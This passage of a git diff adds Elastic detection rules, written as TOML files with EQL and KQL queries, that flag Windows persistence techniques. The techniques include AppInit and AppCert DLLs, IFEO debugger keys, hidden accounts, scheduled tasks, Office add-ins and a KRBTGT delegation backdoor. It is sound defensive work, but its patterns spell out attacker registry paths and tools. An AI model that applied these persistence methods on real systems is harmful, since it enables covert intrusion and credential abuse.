"https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/persistence_app_compat_shim.toml b/rules/windows/persistence_app_compat_shim.toml new file mode 100644 index 000000000..eb0b12294 --- /dev/null +++ b/rules/windows/persistence_app_compat_shim.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the installation of custom Application Compatibility Shim databases. This Windows functionality has been +abused by attackers to stealthily gain persistence and arbitrary code execution in legitimate Windows processes. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Installation of Custom Shim Databases" +risk_score = 21 +rule_id = "c5ce48a6-7f57-4ee8-9313-3d0024caee10" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan = 5m + [process where event.type in ("start", "process_started") and + not (process.name : "sdbinst.exe" and process.parent.name : "msiexec.exe")] + [registry where event.type in ("creation", "change") and + registry.path : "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\\*.sdb"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.011" +name = "Application Shimming" +reference = "https://attack.mitre.org/techniques/T1546/011/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_appcertdlls_registry.toml b/rules/windows/persistence_appcertdlls_registry.toml new file mode 100644 index 000000000..fffb449d6 --- /dev/null +++ b/rules/windows/persistence_appcertdlls_registry.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to maintain persistence by creating registry keys using AppCert DLLs. AppCert DLLs are loaded by every +process using the common API functions to create processes. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Registry Persistence via AppCert DLL" +risk_score = 47 +rule_id = "513f0ffd-b317-4b9c-9494-92ce861f22c7" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where +/* uncomment once stable length(bytes_written_string) > 0 and */ + registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.009" +name = "AppCert DLLs" +reference = "https://attack.mitre.org/techniques/T1546/009/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_appinitdlls_registry.toml b/rules/windows/persistence_appinitdlls_registry.toml new file mode 100644 index 000000000..d321a1ba6 --- /dev/null +++ b/rules/windows/persistence_appinitdlls_registry.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Attackers may maintain persistence by creating registry keys using AppInit DLLs. AppInit DLLs are loaded by every +process using the common library, user32.dll. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Registry Persistence via AppInit DLL" +risk_score = 47 +rule_id = "d0e159cf-73e9-40d1-a9ed-077e3158a855" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where + registry.path : ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_Dlls", + "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_Dlls") and + not process.executable : ("C:\\Windows\\System32\\msiexec.exe", + "C:\\Windows\\SysWOW64\\msiexec.exe", + "C:\\Program Files\\Commvault\\ContentStore*\\Base\\cvd.exe", + "C:\\Program Files (x86)\\Commvault\\ContentStore*\\Base\\cvd.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.010" +name = "AppInit DLLs" +reference = "https://attack.mitre.org/techniques/T1546/010/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_dontexpirepasswd_account.toml b/rules/windows/persistence_dontexpirepasswd_account.toml new file mode 100644 index 000000000..a0be99772 --- /dev/null +++ b/rules/windows/persistence_dontexpirepasswd_account.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2022/02/22" +maturity = "production" +updated_date = "2022/02/22" + +[rule] +author = ["Elastic"] +description = """ +Detects the creation and modification of an account with the "Don't Expire Password" option Enabled. Attackers can abuse +this misconfiguration to persist in the domain and maintain long-term access using compromised accounts with this +property. +""" +false_positives = [ + """ + User accounts can be used as service accounts and have their password set never to expire. This is a bad security + practice that exposes the account to Credential Access attacks. For cases in which user accounts cannot be avoided, + Microsoft provides the Group Managed Service Accounts (gMSA) feature, which ensures that the account password is + robust and changed regularly and automatically. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Account configured with never Expiring Password" +references = [ + "https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dont_expire", + "https://blog.menasec.net/2019/02/threat-hunting-26-persistent-password.html", +] +risk_score = 47 +rule_id = "62a70f6f-3c37-43df-a556-f64fa475fba2" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action:"modified-user-account" and event.code:"4738" and message:"'Don't Expire Password' - Enabled" and not user.id:"S-1-5-18" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_evasion_hidden_local_account_creation.toml b/rules/windows/persistence_evasion_hidden_local_account_creation.toml new file mode 100644 index 000000000..7a0bd1e1f --- /dev/null +++ b/rules/windows/persistence_evasion_hidden_local_account_creation.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/12/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a hidden local user account by appending the dollar sign to the account name. This is +sometimes done by attackers to increase access to a system and avoid appearing in the results of accounts listing using +the net users command. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Creation of a Hidden Local User Account" +references = [ + "https://blog.menasec.net/2019/02/threat-hunting-6-hiding-in-plain-sights_8.html", + "https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/tree/master/2020/2020.12.15.Lazarus_Campaign", +] +risk_score = 73 +rule_id = "2edc8076-291e-41e9-81e4-e3fcbc97ae5e" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.path : "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1136" +name = "Create Account" +reference = "https://attack.mitre.org/techniques/T1136/" + + [[rule.threat.technique.subtechnique]] + id = "T1136.001" + name = "Local Account" + reference = "https://attack.mitre.org/techniques/T1136/001/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_evasion_registry_ifeo_injection.toml b/rules/windows/persistence_evasion_registry_ifeo_injection.toml new file mode 100644 index 000000000..003d6b265 --- /dev/null +++ b/rules/windows/persistence_evasion_registry_ifeo_injection.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2022/02/14" +min_stack_comments = "EQL regex syntax introduced in 7.12" +min_stack_version = "7.12.0" + +[rule] +author = ["Elastic"] +description = """ +The Debugger and SilentProcessExit registry keys can allow an adversary to intercept the execution of files, causing a +different process to be executed. This functionality can be abused by an adversary to establish persistence. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Image File Execution Options Injection" +references = [ + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", +] +risk_score = 41 +rule_id = "6839c821-011d-43bd-bd5b-acff00257226" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where length(registry.data.strings) > 0 and + registry.path : ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*.exe\\Debugger", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess") and + /* add FPs here */ + not registry.data.strings regex~ ("""C:\\Program Files( \(x86\))?\\ThinKiosk\\thinkiosk\.exe""", """.*\\PSAppDeployToolkit\\.*""") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.012" +name = "Image File Execution Options Injection" +reference = "https://attack.mitre.org/techniques/T1546/012/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml b/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml new file mode 100644 index 000000000..b905fdec3 --- /dev/null +++ b/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml @@ -0,0 +1,92 @@ +[metadata] +creation_date = "2021/03/15" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious startup shell folder modifications to change the default Startup directory in order to bypass +detections monitoring file creation in the Windows Startup folder. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Startup Shell Folder Modification" +note = """## Triage and analysis + +### Investigating Suspicious Startup Shell Activity + +Techniques used within malware and by adversaries often leverage the Windows registry to store malicious programs for +persistence. Startup shell folders are often targeted as they are not as prevalent as normal Startup folder paths so this +behavior may evade existing AV/EDR solutions. These programs may also run with higher privileges which can be ideal for +an attacker. + +#### Possible investigation steps: +- Review the source process and related file tied to the Windows Registry entry. +- Validate the activity is not related to planned patches, updates, network administrator activity or legitimate software +installations. +- Determine if activity is unique by validating if other machines in same organization have similar entry. + +### False Positive Analysis +- There is a high possibility of benign legitimate programs being added to Shell folders. This activity could be based +on new software installations, patches, or any kind of network administrator related activity. Before entering further +investigation, it should be verified that this activity is not benign. + +### Related Rules +- Startup or Run Key Registry Modification +- Persistent Scripts in the Startup Directory + +### Response and Remediation +- Activity should first be validated as a true positive event if so then take immediate action to review, +investigate and potentially isolate activity to prevent further post-compromise behavior. +- The respective binary or program tied to this persistence method should be further analyzed and reviewed to understand +its behavior and capabilities. +- Since this activity is considered post-exploitation behavior, it's important to understand how the behavior was first +initialized such as through a macro-enabled document that was attached in a phishing email. By understanding the source +of the attack, this information can then be used to search for similar indicators on other machines in the same environment. +""" +risk_score = 73 +rule_id = "c8b150f0-0164-475b-a75e-74b47800a9ff" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where + registry.path : ( + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup" + ) and + registry.data.strings != null and + /* Normal Startup Folder Paths */ + not registry.data.strings : ( + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/windows/persistence_gpo_schtask_service_creation.toml b/rules/windows/persistence_gpo_schtask_service_creation.toml new file mode 100644 index 000000000..34c0a99a2 --- /dev/null +++ b/rules/windows/persistence_gpo_schtask_service_creation.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/08/13" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Detects the creation or modification of a new Group Policy based scheduled task or service. These methods are used for +legitimate system administration, but can also be abused by an attacker with domain admin permissions to execute a +malicious payload remotely on all or a subset of the domain joined machines. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Creation or Modification of a new GPO Scheduled Task or Service" +risk_score = 21 +rule_id = "c0429aa8-9974-42da-bfb6-53a0a515a145" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.path : ("?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", + "?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\Preferences\\Services\\Services.xml") and + not process.name : "dfsrs.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +reference = "https://attack.mitre.org/techniques/T1053/" +name = "Scheduled Task/Job" + + [[rule.threat.technique.subtechnique]] + id = "T1053.005" + name = "Scheduled Task" + reference = "https://attack.mitre.org/techniques/T1053/005/" + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/persistence_local_scheduled_job_creation.toml b/rules/windows/persistence_local_scheduled_job_creation.toml new file mode 100644 index 000000000..4ce89cc62 --- /dev/null +++ b/rules/windows/persistence_local_scheduled_job_creation.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2021/03/15" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = "A job can be used to schedule programs or scripts to be executed at a specified date and time. Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code." +false_positives = ["Legitimate scheduled jobs may be created during installation of new software."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via Scheduled Job Creation" +risk_score = 47 +rule_id = "1327384f-00f3-44d5-9a8c-2373ba071e92" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.path : "?:\\Windows\\Tasks\\*" and file.extension : "job" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" + + [[rule.threat.technique.subtechnique]] + id = "T1053.005" + name = "Scheduled Task" + reference = "https://attack.mitre.org/techniques/T1053/005/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/windows/persistence_local_scheduled_task_creation.toml b/rules/windows/persistence_local_scheduled_task_creation.toml new file mode 100644 index 000000000..ab8892600 --- /dev/null +++ b/rules/windows/persistence_local_scheduled_task_creation.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Indicates the creation of a scheduled task. Adversaries can use these to establish persistence, move laterally, and/or +escalate privileges. +""" +false_positives = ["Legitimate scheduled tasks may be created during installation of new software."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Local Scheduled Task Creation" +risk_score = 21 +rule_id = "afcce5ad-65de-4ed2-8516-5e093d3ac99a" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence with maxspan=1m + [process where event.type != "end" and + ((process.name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", "wmic.exe", "mshta.exe", + "powershell.exe", "pwsh.exe", "powershell_ise.exe", "WmiPrvSe.exe", "wsmprovhost.exe", "winrshost.exe") or + process.pe.original_file_name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", "wmic.exe", "mshta.exe", + "powershell.exe", "pwsh.dll", "powershell_ise.exe", "WmiPrvSe.exe", "wsmprovhost.exe", + "winrshost.exe")) or + process.code_signature.trusted == false)] by process.entity_id + [process where event.type == "start" and + (process.name : "schtasks.exe" or process.pe.original_file_name == "schtasks.exe") and + process.args : ("/create", "-create") and process.args : ("/RU", "/SC", "/TN", "/TR", "/F", "/XML") and + /* exclude SYSTEM Integrity Level - look for task creations by non-SYSTEM user */ + not (process.Ext.token.integrity_level_name : "System" or winlog.event_data.IntegrityLevel : "System") + ] by process.parent.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" + +[[rule.threat.technique.subtechnique]] +id = "T1053.005" +name = "Scheduled Task" +reference = "https://attack.mitre.org/techniques/T1053/005/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_local_scheduled_task_scripting.toml b/rules/windows/persistence_local_scheduled_task_scripting.toml new file mode 100644 index 000000000..4f2851651 --- /dev/null +++ b/rules/windows/persistence_local_scheduled_task_scripting.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/11/29" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +A scheduled task was created by a Windows script via cscript.exe, wscript.exe or powershell.exe. This can be abused by +an adversary to establish persistence. +""" +false_positives = ["Legitimate scheduled tasks may be created during installation of new software."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Scheduled Task Created by a Windows Script" +note = """## Triage and analysis + +Decode the base64 encoded Tasks Actions registry value to investigate the task's configured action.""" +risk_score = 47 +rule_id = "689b9d57-e4d5-4357-ad17-9c334609d79a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +type = "eql" + +query = ''' +sequence by host.id with maxspan = 30s + [library where dll.name : "taskschd.dll" and process.name : ("cscript.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe")] + [registry where registry.path : "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\\Actions"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" + + [[rule.threat.technique.subtechnique]] + id = "T1053.005" + name = "Scheduled Task" + reference = "https://attack.mitre.org/techniques/T1053/005/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_ms_office_addins_file.toml b/rules/windows/persistence_ms_office_addins_file.toml new file mode 100644 index 000000000..ab3a97039 --- /dev/null +++ b/rules/windows/persistence_ms_office_addins_file.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/10/16" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Detects attempts to establish persistence on an endpoint by abusing Microsoft Office add-ins." +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via Microsoft Office AddIns" +references = ["https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"] +risk_score = 73 +rule_id = "f44fa4b6-524c-4e87-8d9e-a32599e4fb7c" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.extension : ("wll","xll","ppa","ppam","xla","xlam") and + file.path : + ( + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\AddIns\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1137" +name = "Office Application Startup" +reference = "https://attack.mitre.org/techniques/T1137/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_ms_outlook_vba_template.toml b/rules/windows/persistence_ms_outlook_vba_template.toml new file mode 100644 index 000000000..82b520b30 --- /dev/null +++ b/rules/windows/persistence_ms_outlook_vba_template.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/11/23" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Detects attempts to establish persistence on an endpoint by installing a rogue Microsoft Outlook VBA Template." +false_positives = ["A legitimate VBA for Outlook is usually configured interactively via OUTLOOK.EXE."] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via Microsoft Outlook VBA" +references = [ + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", + "https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/", +] +risk_score = 47 +rule_id = "397945f3-d39a-4e6f-8bcb-9656c2031438" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.path : "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1137" +name = "Office Application Startup" +reference = "https://attack.mitre.org/techniques/T1137/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_msds_alloweddelegateto_krbtgt.toml b/rules/windows/persistence_msds_alloweddelegateto_krbtgt.toml new file mode 100644 index 000000000..12db79a7b --- /dev/null +++ b/rules/windows/persistence_msds_alloweddelegateto_krbtgt.toml @@ -0,0 +1,74 @@ +[metadata] +creation_date = "2022/01/27" +maturity = "production" +updated_date = "2022/01/27" + +[rule] +author = ["Elastic"] +description = """ +Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT. Attackers can use this technique to +maintain persistence to the domain by having the ability to request tickets for the KRBTGT service. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "KRBTGT Delegation Backdoor" +note = """## Config + +The 'Audit User Account Management' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Account Management > +Audit User Account Management (Success,Failure) +``` +""" +references = [ + "https://skyblue.team/posts/delegate-krbtgt", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0026_windows_audit_user_account_management.md", +] +risk_score = 73 +rule_id = "e052c845-48d0-4f46-8a13-7d0aba05df82" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action:modified-user-account and event.code:4738 and winlog.event_data.AllowedToDelegateTo:*krbtgt* +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1098" +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1558" +name = "Steal or Forge Kerberos Tickets" +reference = "https://attack.mitre.org/techniques/T1558/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/windows/persistence_powershell_exch_mailbox_activesync_add_device.toml b/rules/windows/persistence_powershell_exch_mailbox_activesync_add_device.toml new file mode 100644 index 000000000..11d8a4c48 --- /dev/null +++ b/rules/windows/persistence_powershell_exch_mailbox_activesync_add_device.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/12/15" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of the Exchange PowerShell cmdlet, Set-CASMailbox, to add a new ActiveSync allowed device. +Adversaries may target user email to collect sensitive information. +""" +false_positives = ["Legitimate exchange system administration activity."] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "New ActiveSyncAllowedDeviceID Added via PowerShell" +references = [ + "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "https://docs.microsoft.com/en-us/powershell/module/exchange/set-casmailbox?view=exchange-ps", +] +risk_score = 47 +rule_id = "ce64d965-6cb0-466d-b74f-8d2c76f47f05" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and process.args : "Set-CASMailbox*ActiveSyncAllowedDeviceIDs*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + [[rule.threat.technique.subtechnique]] + id = "T1098.002" + name = "Exchange Email Delegate Permissions" + reference = "https://attack.mitre.org/techniques/T1098/002/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_priv_escalation_via_accessibility_features.toml b/rules/windows/persistence_priv_escalation_via_accessibility_features.toml new file mode 100644 index 000000000..a86167ad4 --- /dev/null +++ b/rules/windows/persistence_priv_escalation_via_accessibility_features.toml @@ -0,0 +1,93 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Windows contains accessibility features that may be launched with a key combination before a user has logged in. An +adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the +system. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Modification of Accessibility Binaries" +references = ["https://www.elastic.co/blog/practical-security-engineering-stateful-detection"] +risk_score = 73 +rule_id = "7405ddf1-6c8e-41ce-818f-48bea6bcaed8" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + process.parent.name : ("Utilman.exe", "winlogon.exe") and 